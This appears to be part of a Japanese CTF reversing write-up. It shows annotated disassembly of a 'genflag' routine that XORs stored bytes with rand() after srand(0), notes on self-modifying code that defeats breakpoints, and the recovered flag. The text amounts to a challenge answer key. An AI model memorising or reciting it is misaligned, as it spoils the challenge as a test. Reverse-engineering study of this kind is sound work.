   0x0000000000400fc4 <+93>:    mov    BYTE PTR [rbp-0x21],0x25
   0x0000000000400fc8 <+97>:    mov    BYTE PTR [rbp-0x20],0x14
   0x0000000000400fcc <+101>:   mov    BYTE PTR [rbp-0x1f],0xf6
   0x0000000000400fd0 <+105>:   mov    BYTE PTR [rbp-0x1e],0x3a
   0x0000000000400fd4 <+109>:   mov    BYTE PTR [rbp-0x1d],0xc9
   0x0000000000400fd8 <+113>:   mov    BYTE PTR [rbp-0x1c],0x2e
   0x0000000000400fdc <+117>:   mov    BYTE PTR [rbp-0x1b],0x85
   0x0000000000400fe0 <+121>:   mov    BYTE PTR [rbp-0x1a],0x9a
   0x0000000000400fe4 <+125>:   mov    BYTE PTR [rbp-0x19],0x8d
   0x0000000000400fe8 <+129>:   mov    eax,DWORD PTR [rbp-0x4c]
   0x0000000000400feb <+132>:   cmp    eax,0x18
   0x0000000000400fee <+135>:   jbe    0x400ff7 <genflag+144>
#---------------------------------------------------------------------
   0x0000000000400ff0 <+137>:   mov    DWORD PTR [rbp-0x4c],0x18
   0x0000000000400ff7 <+144>:   mov    edi,0x0                        # 0
   0x0000000000400ffc <+149>:   call   0x4009f0 <srand@plt>           # srand(0)
   0x0000000000401001 <+154>:   mov    DWORD PTR [rbp-0x34],0x0       # i = 0
   0x0000000000401008 <+161>:   jmp    0x401031 <genflag+202>
#=====================================================================
   0x000000000040100a <+163>:   mov    eax,DWORD PTR [rbp-0x34]
   0x000000000040100d <+166>:   movsxd rdx,eax
   0x0000000000401010 <+169>:   mov    rax,QWORD PTR [rbp-0x48]       # rax := ?
   0x0000000000401014 <+173>:   lea    rbx,[rdx+rax*1]
   0x0000000000401018 <+177>:   mov    eax,DWORD PTR [rbp-0x34]
   0x000000000040101b <+180>:   cdqe   
   0x000000000040101d <+182>:   movzx  r12d,BYTE PTR [rbp+rax*1-0x30]
   0x0000000000401023 <+188>:   call   0x400a20 <rand@plt>
   0x0000000000401028 <+193>:   xor    eax,r12d                       
   0x000000000040102b <+196>:   mov    BYTE PTR [rbx],al
   0x000000000040102d <+198>:   add    DWORD PTR [rbp-0x34],0x1       # i++
#---------------------------------------------------------------------
   0x0000000000401031 <+202>:   mov    eax,DWORD PTR [rbp-0x34]
   0x0000000000401034 <+205>:   cmp    eax,DWORD PTR [rbp-0x4c]
   0x0000000000401037 <+208>:   jl     0x40100a <genflag+163>
#---------------------------------------------------------------------
"""

ブレークポイントが打てないし、printfの出力がobjdumpと食い違っていたのですが、何らかの仕組みが働いてコードが書き換わるようです。 フラグが前後半に分かれて出現します。前半は実行前のコード、後半はprintf呼び出し時に見ることができます。 てなわけで、

flag: FLAG{51mpl3_c1ph3r_çw17h_57r4ng3_m3ch4n15m}


明日、また会社かよ…

(報告)Docker版の方はARMのrev問が動くようになりましたー